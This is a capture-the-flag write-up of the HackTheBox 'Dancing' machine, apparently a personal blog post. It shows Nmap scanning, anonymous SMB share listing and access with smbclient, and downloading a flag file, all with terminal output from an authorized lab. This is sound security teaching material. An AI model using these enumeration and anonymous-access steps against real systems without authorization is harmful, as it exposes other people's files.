September 2, 2026

Dancing: HackTheBox Write Up

Disclaimer: This write-up contains the full solution. All testing was done inside an authorized lab environment.

By Gabriel

3 min read

Disclaimer:_ This write-up contains the full solution. All testing was done inside an authorized lab environment._

Introduction

Have you ever wondered how an exposed SMB share can reveal sensitive files without requiring any credentials?

Let's dive into Dancing and see how simple SMB enumeration and anonymous access can lead us to the flag.

Challenge

Dancing is a very easy Windows machine which introduces the Server Message Block (SMB) protocol, its enumeration and its exploitation when misconfigured to allow access without a password.

Write Up

✍️ Task 1 — What does the 3-letter acronym SMB stand for?

Answer: Server Message Block

Server Message Block, commonly known by the acronym SMB, is a protocol used to share files and resources between computers and printers on the same local network (LAN). It works using a client-server model.

✍️ Task 2 — What port does SMB use to operate at?

Answer: 445

SMB operates mainly on two ports, with port 445 being the most commonly used by default.

Port 139 can also be used, especially with older versions such as SMB 1.0, but this version is now considered insecure and should no longer be used.

✍️ Task 3 — What is the service name for port 445 that came up in our Nmap scan?

Answer: microsoft-ds

Okay, so to identify the service running on port 445 with Nmap, we can use the following command: nmap -sV 10.129.197.251 -p 445

The -sV flag is used to identify the service running on the port and detect its version, while the -p flag allows us to scan only a specific port.

dev@macbook ~ % nmap -sV 10.129.197.251 -p 445
Starting Nmap 7.991SVN ( https://nmap.org ) at 2026-09-02 20:24 +0200
Nmap scan report for 10.129.197.251
Host is up (0.025s latency).

PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds
dev@macbook ~ %

As we can see in the Nmap results, port 445 is indeed open, and the service running on it is identified as microsoft-ds.

✍️ Task 4 — What is the 'flag' or 'switch' that we can use with the smbclient utility to 'list' the available SMB shares on Dancing?

Answer: -L

The -L flag is used to list all available shares on an SMB server.

✍️ Task 5 — How many shares are there on Dancing?

Answer: 4

So let's use the -L flag from the previous question to list and count the available shares using the command smbclient -L <ip> -N, then enter a blank password.

root@2c1899ca3656:/# smbclient -L 10.129.197.251 -N

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 WorkShares      Disk
SMB1 disabled -- no workgroup available
root@2c1899ca3656:/#

In the SMB results, we can see four available shares: ADMIN$, C$, IPC$, and WorkShares. So, there are a total of four shares.

✍️ Task 6 — What is the name of the share we are able to access in the end with a blank password?

Answer: WorkShares

WorkShares is a file share that is accessible without authentication, so we can consider it a public share.

✍️ Task 7 — What is the command we can use within the SMB shell to download the files we find?

Answer: get

The get command is used to download a file to your local machine.

🚩 Submit Single Flag — Submit the flag located on the SMB share.

Answer: {HTB_FLAG}

So right now, to find the flag, the first thing to do is establish a connection to the SMB server with the command smbclient //<ip>/WorkShares -N.

This command allows us to log in without a password, similar to an anonymous login, and gives us an SMB command prompt in the WorkShares directory.

root@2c1899ca3656:/# smbclient //10.129.197.251/WorkShares -N
Try "help" to get a list of possible commands.
smb: \>

Great, so let's list the directories and files in the current WorkShares directory.

smb: \> ls
  .                                   D        0  Mon Mar 29 08:22:01 2021
  ..                                  D        0  Mon Mar 29 08:22:01 2021
  Amy.J                               D        0  Mon Mar 29 09:08:24 2021
  James.P                             D        0  Thu Jun  3 08:38:03 2021

  5114111 blocks of size 4096. 1753763 blocks available
smb: \>

This command reveals two directories, Amy.J and James.P, which is useful information for the next step.

Now, we can try to change into each directory and list its contents to see what they contain.

smb: \> cd Amy.J
smb: \Amy.J\> ls
  .                                   D        0  Mon Mar 29 09:08:24 2021
  ..                                  D        0  Mon Mar 29 09:08:24 2021
  worknotes.txt                       A       94  Fri Mar 26 11:00:37 2021

  5114111 blocks of size 4096. 1753763 blocks available
smb: \Amy.J\> cd ..
smb: \> cd James.P
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 08:38:03 2021
  ..                                  D        0  Thu Jun  3 08:38:03 2021
  flag.txt                            A       32  Mon Mar 29 09:26:57 2021

  5114111 blocks of size 4096. 1753763 blocks available
smb: \James.P\>

Oh! In the James.P directory, we can see flag.txt. It smells good! Let's download this file to my machine and display its contents. It could be the flag.

For this, I will use get flag.txt ./local_flag.txt to download flag.txt from the SMB server and save it as local_flag.txt on my machine.

smb: \James.P\> get flag.txt local_flag.txt
getting file \James.P\flag.txt of size 32 as local_flag.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \James.P\> exit
root@2c1899ca3656:/# cat local_flag.txt
{HTB_FLAG}

Excellent, we have found the flag for this challenge!

The path to find the flag is: target → Nmap scan → SMB enumeration → list SMB shares → anonymous access → access the WorkShares share → directory listing → find the flag file → download the flag file → display the flag.

About me